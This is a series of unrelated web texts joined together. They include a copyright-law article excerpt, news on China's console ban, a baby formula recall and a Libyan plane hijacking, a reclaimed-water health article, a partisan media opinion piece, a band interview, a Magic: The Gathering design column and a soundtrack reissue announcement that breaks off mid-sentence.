be justified under the fair dealing exemption. In Australia, the fair dealing exceptions under the Copyright Act 1968 (Cth) are a limited set of circumstances under which copyrighted material can be legally copied or adapted without the copyright holder's consent. Fair dealing uses are research and study; review and critique; news reportage and the giving of professional advice (i.e. legal advice). Under current Australian law, although it is still a breach of copyright to copy, reproduce or adapt copyright material for personal or private use without permission from the copyright owner, owners of a legitimate copy are permitted to “format shift” that work from one medium to another for personal, private use, or to “time shift” a broadcast work for later, once and only once, viewing or listening. Other technical exemptions from infringement may also apply, such as the temporary reproduction of a work in machine readable form for a computer.  In the United States the AHRA (Audio Home Recording Act Codified in Section 10, 1992) prohibits action against consumers making noncommercial recordings of music, in return for royalties on both media and devices plus mandatory copy-control mechanisms on recorders.  Section 1008. Prohibition on certain infringement actions  No action may be brought under this title alleging infringement of copyright based on the manufacture, importation, or distribution of a digital audio recording device, a digital audio recording medium, an analog recording device, or an analog recording medium, or based on the noncommercial use by a consumer of such a device or medium for making digital musical recordings or analog musical recordings.  Later acts amended US Copyright law so that for certain purposes making 10 copies or more is construed to be commercial, but there is no general rule permitting such copying. Indeed, making one complete copy of a work, or in many cases using a portion of it, for commercial purposes will not be considered fair use. The Digital Millennium Copyright Act prohibits the manufacture, importation, or distribution of devices whose intended use, or only significant commercial use, is to bypass an access or copy control put in place by a copyright owner.[29] An appellate court has held that fair use is not a defense to engaging in such distribution.  The copyright directive allows EU member states to implement a set of exceptions to copyright. Examples of those exceptions are:  photographic reproductions on paper or any similar medium of works (excluding sheet music) provided that the rightholders receives fair compensation,  reproduction made by libraries, educational establishments, museums or archives, which are non-commercial  archival reproductions of broadcasts,  uses for the benefit of people with a disability,  for demonstration or repair of equipment,  for non-commercial research or private study  when used in parody  Accessible copies [ edit ]  It is legal in several countries including the United Kingdom and the United States to produce alternative versions (for example, in large print or braille) of a copyrighted work to provide improved access to a work for blind and visually impaired persons without permission from the copyright holder.[59][60]  Transfer, assignment and licensing [ edit ]  A copyright, or aspects of it (e.g. reproduction alone, all but moral rights), may be assigned or transferred from one party to another.[61] For example, a musician who records an album will often sign an agreement with a record company in which the musician agrees to transfer all copyright in the recordings in exchange for royalties and other considerations. The creator (and original copyright holder) benefits, or expects to, from production and marketing capabilities far beyond those of the author. In the digital age of music, music may be copied and distributed at minimal cost through the Internet; however, the record industry attempts to provide promotion and marketing for the artist and his or her work so it can reach a much larger audience. A copyright holder need not transfer all rights completely, though many publishers will insist. Some of the rights may be transferred, or else the copyright holder may grant another party a non-exclusive license to copy or distribute the work in a particular region or for a specified period of time.  A transfer or licence may have to meet particular formal requirements in order to be effective,[62] for example under the Australian Copyright Act 1968 the copyright itself must be expressly transferred in writing. Under the U.S. Copyright Act, a transfer of ownership in copyright must be memorialized in a writing signed by the transferor. For that purpose, ownership in copyright includes exclusive licenses of rights. Thus exclusive licenses, to be effective, must be granted in a written instrument signed by the grantor. No special form of transfer or grant is required. A simple document that identifies the work involved and the rights being granted is sufficient. Non-exclusive grants (often called non-exclusive licenses) need not be in writing under U.S. law. They can be oral or even implied by the behavior of the parties. Transfers of copyright ownership, including exclusive licenses, may and should be recorded in the U.S. Copyright Office. (Information on recording transfers is available on the Office's web site.) While recording is not required to make the grant effective, it offers important benefits, much like those obtained by recording a deed in a real estate transaction.  Copyright may also be licensed.[61] Some jurisdictions may provide that certain classes of copyrighted works be made available under a prescribed statutory license (e.g. musical works in the United States used for radio broadcast or performance). This is also called a compulsory license, because under this scheme, anyone who wishes to copy a covered work does not need the permission of the copyright holder, but instead merely files the proper notice and pays a set fee established by statute (or by an agency decision under statutory guidance) for every copy made.[63] Failure to follow the proper procedures would place the copier at risk of an infringement suit. Because of the difficulty of following every individual work, copyright collectives or collecting societies and performing rights organizations (such as ASCAP, BMI, and SESAC) have been formed to collect royalties for hundreds (thousands and more) works at once. Though this market solution bypasses the statutory license, the availability of the statutory fee still helps dictate the price per work collective rights organizations charge, driving it down to what avoidance of procedural hassle would justify.  Free licenses [ edit ]  Copyright licenses known as open or free licenses seek to grant several rights to licensees, either for a fee or not. Free in this context is not as much of a reference to price as it is to freedom. What constitutes free licensing has been characterised in a number of similar definitions, including by order of longevity the Free Software Definition, the Debian Free Software Guidelines, the Open Source Definition and the Definition of Free Cultural Works. Further refinements to these definitions have resulted in categories such as copyleft and permissive. Common examples of free licences are the GNU General Public License, BSD licenses and some Creative Commons licenses.  Founded in 2001 by James Boyle, Lawrence Lessig, and Hal Abelson, the Creative Commons (CC) is a non-profit organization[64] which aims to facilitate the legal sharing of creative works. To this end, the organization provides a number of generic copyright license options to the public, gratis. These licenses allow copyright holders to define conditions under which others may use a work and to specify what types of use are acceptable.[64]  Terms of use have traditionally been negotiated on an individual basis between copyright holder and potential licensee. Therefore, a general CC license outlining which rights the copyright holder is willing to waive enables the general public to use such works more freely. Six general types of CC licenses are available (although some of them are not properly free per the above definitions and per Creative Commons' own advice). These are based upon copyright-holder stipulations such as whether he or she is willing to allow modifications to the work, whether he or she permits the creation of derivative works and whether he or she is willing to permit commercial use of the work.[65] As of 2009 approximately 130 million individuals had received such licenses.[65]  Criticism [ edit ]  Some sources are critical of particular aspects of the copyright system. This is known as a debate over copynorms. Particularly to the background of uploading content to internet platforms and the digital exchange of original work, there is discussion about the copyright aspects of downloading and streaming, the copyright aspects of hyperlinking and framing.  The interests of big internet platform service providers like Google, Amazon, Facebook or Microsoft, partly depending on users uploading content for free to their servers, collide with those of original content creators and right holders, both big, like Sony, Getty Images, Warner Bros, Elsevier, Springer and small, like local bands, national newspapers and TV-channels. In Germany the national public organisation GEMA, that collects copyright fees for composers, copywriters and music-publishers, won a juridical fight with Google over payment for songs published on YouTube.[66]  Concerns are often couched in the language of digital rights, digital freedom, database rights, open data or censorship.[67] Discussions include Free Culture, a 2004 book by Lawrence Lessig. Lessig coined the term permission culture to describe a worst-case system. Good Copy Bad Copy (documentary) and RiP!: A Remix Manifesto, discuss copyright. Some suggest an alternative compensation system. In Europe consumers are acting up against the raising costs of music, film and books, a political party has been grown out of it, The Pirates. Some groups reject copyright altogether, taking an anti-copyright stance. The perceived inability to enforce copyright online leads some to advocate ignoring legal statutes when on the web.  Public domain [ edit ]  Copyright, like other intellectual property rights, is subject to a statutorily determined term. Once the term of a copyright has expired, the formerly copyrighted work enters the public domain and may be used or exploited by anyone without obtaining permission, and normally without payment. However, in paying public domain regimes the user may still have to pay royalties to the state or to an authors' association. Courts in common law countries, such as the United States and the United Kingdom, have rejected the doctrine of a common law copyright. Public domain works should not be confused with works that are publicly available. Works posted in the internet, for example, are publicly available, but are not generally in the public domain. Copying such works may therefore violate the author's copyright.  See also [ edit ]  References [ edit ]
-The Chinese government announced today that it will lift a longtime ban on sales of video game consoles, opening up the market to foreign companies in Shanghai's new free trade zone. China's State Council announced the decision in a statement issued Friday, saying foreign companies will be able to sell consoles across the entire country as long as they have established production and sales operations in the free trade zone. Each console will also have to be approved by China's Ministry of Culture before going on the market.  China banned consoles in 2000 over fears that video games may have a detrimental effect on the mental and physical development of children. Reports earlier this year suggested that Beijing was considering relaxing its policy, though officials later disputed such claims. Consoles have been available on the black market in China, though most gamers use PCs or mobile devices.  No timeline for sales to begin  Today's announcement follows earlier reports that China may be relaxing its longstanding bans on Facebook and Twitter within the forthcoming free zone. The People's Daily, a state-run newspaper, later refuted the reports, saying current "internet management measures" will remain in place in Shanghai.  It is not clear when sales of video game consoles will begin, as policymakers continue to draft new rules for the free trade zone. The government released a list of key principles governing the zone on Friday, though changes will be implemented over the course of the next three years. The new zone, located in the eastern suburbs of Shanghai, is seen as a promising sign that China may be loosening restrictions for foreign investors. It also comes at a crucial time for China, which has seen its economy slow in some key sectors after decades of rapid growth.  Update: In addition to lifting the console ban, a Wall Street Journal report says that China will be allowing foreign companies to "directly allow some internet services" in Shanghai; however, it's not clear whether the overall restrictions will be appreciably loosened.
-The Food and Drug Administration issued a recall for the baby formula Sammy's Milk because the California-based company did not test for the presence of a potentially deadly bacteria. Photo courtesy FDA  NEWPORT BEACH, Calif., Oct. 1 (UPI) -- The Food and Drug Administration has issued a recall for all baby formula sold by California-based retailer Sammy's Milk because it could possess a potentially deadly bacteria.  The FDA said Graceleigh, Inc., the company that manufactures Sammy's Milk, did not perform the required test to guard against the bacteria Cronobacter, which can cause blood infections or meningitis in infants.  The formula also may have insufficient amounts of iron for some babies and does not carry the required warning to supplement a child's diet, the FDA said.  No illnesses have been reported.  Sammy's Milk, which markets itself as a GMO- and gluten-free baby formula, is distributed in California at Mother's Market retail outlets and ships directly through its website, SammysMilk.com.  The recall covers all lot numbers with the expiration dates from November, 2016 to August, 2018.  Consumers who purchased Sammy's Milk are entitled to a refund and can contact the company by phone at (949) 646-4628, or email at recall@SammysMilk.com.
-By Steven Maxwell  Do you water your vegetable garden with recycled city water? If so, you may be eating pharmaceutical contaminants that accumulate in your food.  A recent study by the American Chemical Society published by Chemistry and Engineering News shows that “eating vegetables grown using reclaimed water boosts urine levels of carbamazepine, an anti-epileptic drug commonly detected in wastewater” meaning that anyone who consumes this produce is exposed to the carbamazepine drug in detectable dosages.  The drug can enter waterways in a multitude of ways, from drain disposal of unused medication, excretion through the urinary tract of those who consume it, and even water that is disposed of by facilities that produce drugs. Since the carbamazepine drug is transmittable through the waterway, this has sparked the attention of agricultural workers who utilize large amounts of water for their crop irrigation systems.  The study utilized “34 healthy volunteers” in Israel where much of the water is recycled. The volunteers were instructed to eat their normal amounts and types of vegetation that are normally consumed on a daily basis. For the first week, they were given produce grown using organic water. The second week, they ate food grown with the treated wastewater. Those who were exposed to the repurposed water had higher carbamazepine levels in their urine as opposed to those who were exposed to produce grown with organic water.  The idea of drug consumption, of any degree, showing up in urine tests is something that alarms many people. For those who do not directly use the drug, the fact that carbamazepine (a mood stabilizer) shows up in their urine is something concerning, especially with the amount of corporations and businesses that implement mandatory drug tests into their hiring and housekeeping processes. Though any level of drugs in the body must be assessed, the amount that shows on the urine test report is, “four orders of magnitude away from levels of if you were taking the drug.”  Since there are still reports and tests being performed to understand long-term effects in groups such as women, children, the elderly, and vegetarians, the findings have caused some discomfort. It should be noted that carbamazepine is not the only rogue drug found in city water. A host of other pharmaceuticals, and even narcotics like cocaine, are routinely detected in public water supplies. But this is one of the first studies to show that these trace chemicals get into our food supply.  Between studies like these and the news that aging water systems like in Flint, Michigan contain dangerous levels of lead, Americans have been looking for ways to use water that has been untampered with by chemicals and drugs. A recent poll showed that half of all Americans do not trust their tap water.  What can be done to lessen the exposure to contaminants in water?  American Natural Superfood - Free Sample Gardeners who live in cities where water is recycled would be safer relying on rainwater as much as possible. Applying heavy mulch to gardens will retain much of the natural rainfall for longer periods of time. Additionally, collecting rainwater in barrels at the end of downspouts from roofs is another great option to trap feral water for future use. The decision to continue to consume water and vegetation exposed to drugs such as carbamazepine and other substances depends upon the individual and the degree of the toll you believe it will take on your health. For drinking water, it’s best to use a high-quality water filter. Bathing is another issue altogether. You may consider installing a whole house filter or at least a shower unit. Natural and Non-Toxic Products. Up to 50% Off – Every Day (Ad) Steven Maxwell writes for ActivistPost.com where this article first appeared. You may share or repost in full with attribution and source link.
-Updated at 8.35pm  TWO MEN USED fake weapons to hijack a Libyan plane with 117 people on board and divert it to Malta, before releasing everyone and surrendering.  The Afriqiyah Airways Airbus A320 was en route from Sabha in southern Libya to the capital Tripoli when it was taken over and forced to fly to Malta earlier today, sparking a four-hour runway standoff.  While they were initially thought to have used a real grenade and at least one pistol to stage the hijacking, it later emerged that the pair used fake weapons, a Maltese government statement said.  The men had claimed to have a grenade when they took over the plane. It was diverted to Malta where everyone on board was released and the hijackers surrendered to authorities, officials have said.  “Final crew members leaving aircraft with hijackers,” Maltese Prime Minister Joseph Muscat said on Twitter.  Minutes later he added: “Hijackers surrendered, searched and taken in custody.”  Libyan Foreign Minister Taher Siala said the two hijackers were supporters of slain dictator Muammar Gaddafi and had requested political asylum in Malta.  Siala, from Libya’s internationally backed Government of National Accord, said the hijackers also said they want to set up a pro-Gaddafi political party.  The plane landed in Malta just after 10.30am Irish time.  After more than an hour on the tarmac, the door of the Airbus A320 opened and the first group of women and children were seen descending a mobile staircase.  Dozens more passengers were released minutes later following negotiations that Maltese government sources said were led by the head of Malta’s military.  In all there were 111 passengers, including 28 women and a baby, on board, as well as seven crew members.  Source: TVM Malta  The Libyan government confirmed the plane was diverted after leaving from Sabha in southern Libya.  Malta state TV earlier reported that the hijackers had hand grenades and were threatening to blow up the aircraft.  MIA confirms there is an unlawful interference at the airport.Emergency teams dispatched.Visit https://t.co/Lf8i8e8s6L for flight info. — Maltairport (@Maltairport) December 23, 2016 Source: Maltairport /Twitter  Chaos  Libya has been in a state of chaos since the 2011 overthrow of Gaddafi left warring militias battling for control of different parts of the country.  Forces loyal to a fledgling national unity government recently took control of the coastal city of Sirte, which had been a bastion for the so-called Islamic State group since June 2015.  Source: TVM Malta  Western powers have pinned their hopes of containing jihadism in the energy-rich North African state on the government, but it has failed to establish its authority over all of the country.  A rival authority rules the country’s far east, backed by the forces under military strongman Marshal Khalifa Haftar. They have been battling jihadists in second city Benghazi.  - With reporting from Associated Press, AFP and Órla Ryan
-Meet the new boss….  It was announced over the weekend that on June 7 John Dickerson will replace Bob Schieffer as the host of CBS News’ “Face the Nation.” CBS News president David Rhodes — whose brother Ben is a top Obama official most famous for editing the truth out of the infamous Benghazi talking points — said of Dickerson, “John is first and foremost a reporter — and that’s what he’ll be as anchor of ‘Face the Nation.’ “His work in the studio will always be informed by what he’s learned in Iowa, in New Hampshire, on Capitol Hill — anywhere there’s news.”  Here’s what the brother of a top Obama official did not tell you about Dickerson: that in a column for Slate published in the days leading up to President Obama’s second inauguration, Dickerson demanded Obama stop working with Republicans and declare war.  Why if he wants to transform American politics, Obama must declare war on the Republican Party…. The challenge for President Obama’s speech is the challenge of his second term: how to be great when the environment stinks. Enhancing the president’s legacy requires something more than simply the clever application of predictable stratagems. Washington’s partisan rancor, the size of the problems facing government, and the limited amount of time before Obama is a lame duck all point to a single conclusion: The president who came into office speaking in lofty terms about bipartisanship and cooperation can only cement his legacy if he destroys the GOP. If he wants to transform American politics, he must go for the throat. … Obama’s only remaining option is to pulverize. Whether he succeeds in passing legislation or not, given his ambitions, his goal should be to delegitimize his opponents. Through a series of clarifying fights over controversial issues, he can force Republicans to either side with their coalition’s most extreme elements or cause a rift in the party that will leave it, at least temporarily, in disarray.  Naturally, one of the Obama opponents Dickerson wants DestroyedPulverizedDelegitimized is the NRA:  Republicans who want to oppose the president on policy grounds now have to make a decision: Do they want to be associated with a group that opposes, in such impolitic ways, measures like universal background checks that 70 to 80 percent of the public supports? Polling also suggests that women are more open to gun control measures than men. The NRA, by close association, risks further defining the Republican Party as the party of angry, white Southern men.  Dickerson closed his screed by warning Obama that he “has no time to waste.”  This isn’t a column. This isn’t analysis. It is a strategy memo — a half-time speech; equal parts pep talk and tactical session.  In summary:  — Benghazi threatens to engulf Hillary Clinton.  — The brother of Obama’s Benghazi spin-doctor runs CBS News.  — The brother of Obama’s Benghazi spin-doctor chose John Dickerson to host one the top Sunday talk shows on the same weekend Hillary announced her candidacy.  — The new host of this top Sunday talk show has publicly pleaded with President Obama to go to “war” with, “pulverize … destroy … and delegitimize” the GOP as a whole, and the NRA specifically.  – -As host of “Face the Nation,” Dickerson will now be in a better position to do this himself.  — This is the same CBS News that parted ways with Sharyl Attkisson — a 20 year veteran, and one of the few reporters in America who actually did pressure and question the Obama administration.  But I’m sure this is all coincidence. The media is not prepping the battlefield for Hillary, or anything. I’m paranoid, seeing things, blinded by sexism…  I mean, come on, it’s not like the media coordinates putting former-Democrat operatives in charge of its Sunday shows!  UPDATE: Oh, yeah.  2ND UPDATE: And yeah.  3rd UPDATE: Uhm...  Follow John Nolte on Twitter @NolteNC
-Get the biggest What's On stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Those TV shows where assertive cleaners wade into houses full of junk and throw everyone’s anxiously amassed possessions in the skip - do they leave you crying or clapping?  Me, crying. And Clint Boon, too - the self confessed stockpiler of Stockport. Still, he’s the one laughing now because his inability to chuck things away resulted in one of the most sought after LPs on Record Store Day - the Inspiral Carpets’ Dung 4, the album they recorded 27 years ago with original singer Stephen Holt.  “I’m the biggest hoarder in the world,” Clint laughs. “I knew the tape was in there somewhere and it literally took me weeks and weeks of looking.  “Eventually I came across a Betamax tape, a digital master from 1987. So I got a Betamax machine, played it, and it sounded amazing. My wife has been giving it me in the neck for years, and I was like, ‘Now who’s the king hoarder, hey?’.”  Within a year of recording Dung 4, Stephen had left the band - impending marriage and mortgage requiring him to quit the music biz - and beyond a handful of cassettes produced to combat the bootleggers and sold in the small ads at the back of music magazines, the album got left on the shelf. Finally, on Monday, it gets an overdue full release on Cherry Red Records.  “Stephen left, and suddenly we got famous and travelled the world,” says Clint about the Inspirals’ heyday with Tom Hingley on vocals, during which the band scored four Top 20 albums, including debut Life, and many hit singles. “But 20 years later, Stephen steps back in and he’s warming up in Argentina to 8,000 people - it was just incredible, what a fairy tale.”  Holt’s return wasn’t without criticism despite the fact that he, with old pal Graham Lambert (guitar) and then 14-year-old drummer Craig Gill, laid the foundations for the band, beginning in 1983. Clint came on board some years later (bassist Martyn Walsh too, in 1989) after the band came to his Ashton-under-Lyne studio, at Guide Mill on South Street, to record a demo.  “I’d never heard of them, they were just some lads from Oldham, and we recorded three or four songs that became a demo they’d send out to pubs to get gigs,” Clint recalls.  “By the third session, I’d joined the band because I had the electric organ and it fitted in with the punkiness of their garage sound.”  (Image: Ian Rook 2014)  We’re revisiting those days because its the rawness of that garage rock sound they say they’ve recaptured on their forthcoming, currently eponymous new album - their first in two decades, due for release in September. “The Inspirals moved on massively, doing all these big hits,” Stephen reflects, “but the way we’re playing, rehearsing and recording is very much in the vein of Dung 4.  “It’s weird talking about all the time away - it’s felt so natural coming back in that it’s almost like it is just 1988. It’s almost odd that I wasn’t around for 20 or more years.”  Clint agrees. “The moment Stephen rejoined the band I was aware we were that garage band again. The new album sounds exactly like that band 27 years after, like the big brother of Dung 4.  “We can also say there’s a collaboration we’ve done that when people hear about it they’ll be knocked out by who it is and how good it is. It’s not an obvious one. Watch this space - cos it’s an exciting one.  “There’s a lot of optimism and looking forward to the future on the record,” Clint adds. “I’ve only written one song on it, Craig’s written his first song, Martin’s done a few and Stephen’s done a few. It’s forward thinking and full of confidence... although there probably are a few ‘upset with your wife’ love songs.”  Stephen laughs. “We’ve got a few darker edges.”  Highlighting that will be a video they’re filming for album’s first single at Gorton Monastery (“It’ll just be live, we’re not going to pretend to be monks or owt like that,” Clint laughs). And after that, a gig at Band On The Wall on June 6, already sold out in a record 15 minutes and a special one for Clint who went to his first Manchester gigs there - “aged 17, coming down from Oldham, lining up outside a bit nervous because I’d told my mum and dad I was going somewhere safe and I’d actually gone to Manchester to watch some punk bands, school blazer turned inside out with all the safety pins on the inside” - but has never played the venue.  Tours of the UK, and possibly America, will follow - two shows at The Ritz look likely. “I can’t say this is the best album we’ve ever made, but I can say it’s the best album we can make at this point: bearing in mind how old we are, how many kids we’ve got, what other careers we’ve got outside of it, nobody throwing loads of money at it,” Clint enthuses. “I defy anyone to write a better album.”
-One of the most common questions I get from people is whether a card that is not currently in Standard would be too strong. Usually these are people's pet cards, or cards that look like another card in a set but are slightly more efficient.  The answer to most of these is actually no—though maybe not for the reasons people might expect.  While there certainly are cards that are too powerful for Standard without any context, most of the time the cards in question would be fine, except that the interactions with other existing cards in Standard would make it too strong. One of the problems with reprints is that we don't get to tweak the numbers.  For example, we tried Liliana of the Veil in Magic 2015 and found her to be too strong for Standard. Some of that was because the mono-black decks were already very strong, but some of it was that the card is just very efficient. It does see play in both Legacy and Modern, after all. And while the card wasn't oppressive in its first time in Standard, we generally don't want to intentionally reprint something that we believe might be the strongest card in the format. It just leads to things being stale and prevents new things from flourishing. You will see cards in Standard in the future that are as strong as or stronger than Liliana of the Veil, but it's likely that we misevaluated just how strong they were in development.  Liliana came close to haunting your nightmares in Standard again. Or dreams. I don't know how you roll.  And that's fine. I think making those mistakes in power level (as long as they aren't off by too much) is a lot of what makes Magic fun. Often these mistakes happen because one block did a very poor job of supporting a strategy, so we find that a card isn't too powerful, and then when we print cards in the future that are at a normal level for that strategy, the net result is something being too strong.  There are plenty of cards that are too strong for Standard without context—it's just that they are above the bar we like to set for cards. Chances are, if a card is banned in Modern or Legacy—and not simply because of some weird combo (see Punishing Fire, Sword of the Meek, et al.)—it will be too strong for Standard.  At the same time, many of the top cards in Modern are also likely to be too strong for Standard. I hear a lot of claims that Tarmogoyf wasn't that good in Standard, but it did win both Pro Tour Valencia and the 2007 World Championship—the only two Pro-level Standard tournaments when it was legal. I don't foresee us reprinting Tarmogoyf for Standard any time soon, but stranger things have happened. I mean, Australia once went to war against a herd of emus and lost. Kind of.  Force of Will is in a similar spot, where many people believe it is only good in degenerate formats where the card disadvantage is less important. That really isn't true. Putting a card like that in Standard, when you can tap out for a planeswalker, rest assured you have a free way to protect it, and then be able to untap and protect it further, is incredibly powerful. This is just not a card that we are willing to put into Standard, since it would require us warping the entire format around the card—something that I don't think is worthwhile for any one card. I wouldn't expect this to be in a Standard-legal set any time in the near future, barring wayward buses or a radical shift in the direction we want to move Standard toward.  What Defines a Format  In most cases, a format is defined by its most powerful cards. That should seem obvious, though often the individual cards that are the strongest may not be readily apparent. It's easy to look at the strong and splashy ones that have a high correlation between "casting it" and "winning the game," but harder to evaluate are the support cards that let those splashy ones work.  A prime example of a format-defining card that needed support was Stoneforge Mystic. It is perfectly fine if, like in its first year in Standard, you're fetching up Trusty Machetes and Basilisk Collars. It's when you are hitting Swords and Batterskulls that you run into a problem. So, the card only defines the format if it has the support. Stoneforge isn't the best example, though, because the Swords and Batterskull are obviously very powerful cards in their own right. It's when the secondary cards are innocuous, or things that seem like they have been around forever and are evergreen staples of the format, that they are easy to miss.  When Delver was the top deck in Standard, I saw a lot of people complaining about Delver of Secrets and going as far as to ask for its banning—without realizing that it wasn't the actual problem card in the deck. It was the card that was often winning the game, sometimes on a frustrating turn-two blind flip, but I think it was Ponder (and to a lesser extent Gitaxian Probe and Mana Leak) that turned Delver of Secrets from a pretty strong card into a defining part of the format. When Ponder rotated out and there was no particularly good way to set up your draws, Delver totally fell off the radar for the Innistrad-Return to Ravnica year, despite taking up its role as a Legacy superstar. If we had left Ponder in Magic 2013, or given another effect that let you easily stack the top card of your library, it is possible that the year would've had similar Insectile infestations.  This was the worst of the plagues visited upon Egy...er, Standard.  The challenge for development that might not be obvious, therefore, is making sure that as many cards as possible have the right amount of support necessary to work, but not so much that it makes it dumb to do other things. As it turns out, the splashy, high-powered cards are usually the easier ones to get right because they are easier to identify. The real challenge is trying to make sure the format has the right number and kinds of support cards to make it so our new themes can show up without being overpowered, and that they all work for Limited.  Looking at current Standard, it would be easy to say that either Siege Rhino or Jace, Vryn's Prodigy is the defining element, but neither truly is—it's the mana base. The reason you are seeing so much of Khans continue to dominate, and so many four-color decks, is that we experimented with having a very strong mana base in Standard using fetches and duals, and it ended up exceeding even our expectations for power.  Looking back at the battle land/fetch land mana base in Standard, I think it's looking very unlikely that we will have fetch lands and lands with basic land types in Standard for a while, and certainly not at a time when we aren't pushing a multicolor-heavy set. It was something we tried, and ultimately it made Standard less fun and less accessible for many players. That isn't to say it was exactly a failed experiment—it showed us some pretty good data, and it will lead us to making better sets in the future. Standard is still diverse, and I think it's pretty fun, but I for one am excited to see Shadows over Innistrad come out, with rotation bringing a change in the mana base as well as the opportunity for more new decks in Standard.  Moving Standard Staples  There are cards that aren't necessarily too strong, but we don't want them in Standard at a given time for a variety of reasons. Often this is because we don't think they make things more fun, or they make Standard feel less different as new sets are released.  In Magic 2014 and Theros, we added Mutavault and Thoughtseize to Standard. We knew they were popular Modern cards and wanted to try them out in Standard. I think, in the end, both of those cards were incredibly powerful (and ubiquitous) and they made Standard less fun. It was much harder to do cool things in Standard when those cards were floating around. This had the upside of letting people play with the powerful cards (and powerful cards are frequently fun), but the downside was that they made it harder to do quirky or interesting things. A goal of Standard is for the games to come down much more to the new and unique things as opposed to the vanilla powerful effects, which I think does a reasonable job of describing both Mutavault and Thoughtseize. On the plus side, they did have a huge part to play in making Pack Rat a Standard all-star in its second year of life, so they have that going for them.  It's Judgment Day for Day of Judgment!  As we continue to try to make new and diverse Standard formats that feel unique, we do have to change what the staples of the format look like from time to time. Day of Judgment as the vanilla Wrath had a real problem in that it meant that as long as it was in Standard, people would only play four-mana Wraths. It meant that we had to balance the aggro decks around that, and that we didn't have much ability to make things that felt new. By moving unconditional Wraths to five mana but letting you cast cards like Languish at four mana, we have greatly improved our ability to create interesting Wraths for a variety of decks and allow people to play End Hostilities one week and Planar Outburst the next.  Likewise, Elvish Mystic wasn't taken out of Standard because it was too strong. Not exactly. I would say that when Elvish Mystic was in Standard, it was secretly one of the strongest cards in the format. It was the defining characteristic for green decks, and many of those decks were defined by the difference in power between games where it played a turn-one Elvish Mystic and the ones where it didn't. A card like Birds of Paradise has the same problem, but worse, since it can mean the difference between a turn-two gold card or not. We are currently taking a break from one-mana accelerators in Standard, much in the way we have moved away from doing two-mana mana stones. Part of the reason is the belief that this lets us create a wider range of cards that can see play (since we can actually put meaningful riders on two-mana mana Elves), and to allow for strong green two- and three-drops to see play without having to balance them around Elvish Mystic.  Elvish Mystic and Lightning Strike, we hardly knew ye. Wait, scratch that. We knew ye well. Like, really well.  Lightning Strike wasn't taken out because it was too strong. Lightning Bolt...well, I wouldn't say never, but don't be surprised if the most-played card in Modern doesn't hit Standard any time soon. It is the most-played card in Modern, which means that it would likely be the most-played in Standard, to the point of warping the metagame around it.  Lightning Strike is the right power level for Standard, but it is pretty boring. And any time we take a card that is pretty boring but a four-of in a ton of decks and add extra text onto it, we aren't allowing for future sets to print cards that might be an option to play instead. Much like we have been experimenting with differences in mana accelerators in Standard, we are entering an era of experimentation on how to move the suite of burn spells around such that there is a lot of choice while ensuring you can't just put them all in a deck and end up with a Modern burn deck.  Although none of these cards are in Standard now, I don't think they will be out forever. As we make green more about two- and three-drops for the time being, while we have more two-mana mana Elves, I can see a point where we want to shake things up and go back to using one-mana mana Elves for some period of time. It lets players who have only been playing for a few years experience something new and acts as nostalgia for older players. The design of Standard is cyclical, and many things that leave will probably not stay gone forever.  Providing a Standard Experience  After 23 years of making Magic, it should be clear we can't just play around with improving everything to make new cards. There just aren't enough costs that can go down. We may not be able to make as many cards for Vintage every year, since the bar that a card has to cross to be better than another card there is absurdly high. But we can control the kinds of cards we make for Standard. And as we make those, many of them will be at the right power level for Modern, helping to add to that format. And then some of them will end up trickling down to Legacy, and even a few per year to Vintage.  If you want to play with the most powerful cards, it's hard to argue against Eternal formats, since Standard can't compete there. The goal of Standard is to allow for new experiences, and to let each set's themes and mechanics shine. Part of that means that, over time, we need to kill a few sacred cows and change up what we think the baseline is for some effects, so that we can introduce new ones.  Imagine that you are working on Sixth Edition for Magic. You are discussing which cards to not reprint, and the decision comes down to leave out Dark Ritual. It would be easy to say, "Yeah, but without Dark Ritual, black will be too weak! Dark Ritual is a huge part of black's staple kit, and without it, it can't compete." Well, that may have been true of sets before then, but once you have taken the card out of the format, you get to open up a lot of design space. While a lot of black's power was in a turn-one Dark Ritual into a three-drop (or three one-drops), that also meant that you had to balance all of the three-drops as if they would be out on the first turn. We took Dark Ritual out of Sixth Edition, and black ended up being fine over time—much in the same way we removed Counterspell from blue, Lightning Bolt from red, and Swords to Plowshares from white. Once those cards were out of the colors for Standard, it increased the range of cards that could see play in all the colors.  That isn't to say that we've been 100% right on changes to the kinds of cards we put into Standard in the past, or that we will be in the future. We do a lot of testing internally, find what we like, and release it to the world. We can generally figure out what is powerful enough for Standard, but it's harder for us to gauge what people will like. Sometimes we are wrong because we misevaluated the power, and sometimes we realize that people will forgo decks that are strong enough because they just don't like the play style. By comparing our Future Future League decklists to how those decks played out in the real world and how strong they ended up being, we can try to figure out areas where we are repeatedly over- and undervaluing cards and tweak those in upcoming sets. When we try something and it ends up being stronger than we expected, we look at those results and make sure to test those kinds of cards more in the future, so we can continue making the kinds of cards that people will enjoy playing.  That's it for this week. Join me next week when I delve further into these topics and talk about exactly how we use real-world data to inform our decisions on balancing card sets.  Until next time,  Sam (@samstod)
-Get ready for the reunion of your slumber party dreams. On September 26th in Los Angeles, we're teaming up with Alamo Drafthouse and Birth.Movies.Death. to celebrate a new vinyl reissue of the JOSIE AND THE PUSSYCATS Original Motion Picture Soundtrack by getting the band back to together. And we do mean literally.  The epic reunion screening tailor-made for superfans of the smart, funny and legitimately rocking 2001 film will unspool at LA’s famed Ace Hotel. In person, it’s the film’s brilliant co-directors/writers Harry Elfont and Deborah Kaplan, along with Josie and Alan M. themselves, stars Rachael Leigh Cook and Gabriel Mann. PLUS singer Kay Hanley, front woman of ‘90s band Letters to Cleo and Josie’s singing voice in the film (no wonder that soundtrack is so killer).  Before the film, Kay and the band will *actually* rock the house with a set of JOSIE AND THE PUSSYCATS songs. You read that right. Yes, this is real life. And, after the credits roll that night, the whole gang will be live on stage answering your burning questions.  Tragically under-appreciated on its original release, JOSIE AND THE PUSSYCATS was dismissed as just another lame comic-to-screen cash-in aimed squarely at teens (who couldn’t have cared less). But the film was actually a cinematic Trojan horse, a scathing satire on consumerism, pop music and the very genre of comic-to-screen teen movies. And, thanks to a cracking script, an all-star cast giving it their all, and a soundtrack that’s way more rocking than it had any right to be, JOSIE is an enduring big screen pleasure.  And of course, our vinyl edition of the soundtrack will be available for purchase at the theater.  “Re-issuing the soundtrack to JOSIE AND THE PUSSYCATS has been a holy grail for us,” says Mo Shafeek, Mondo Record Label Manager. “Even though the band doesn't technically exist, it falls on our list of essential debut albums and deserves to be treated as such. It is an absolute honor to reissue it on vinyl for the first time ever.”  So what 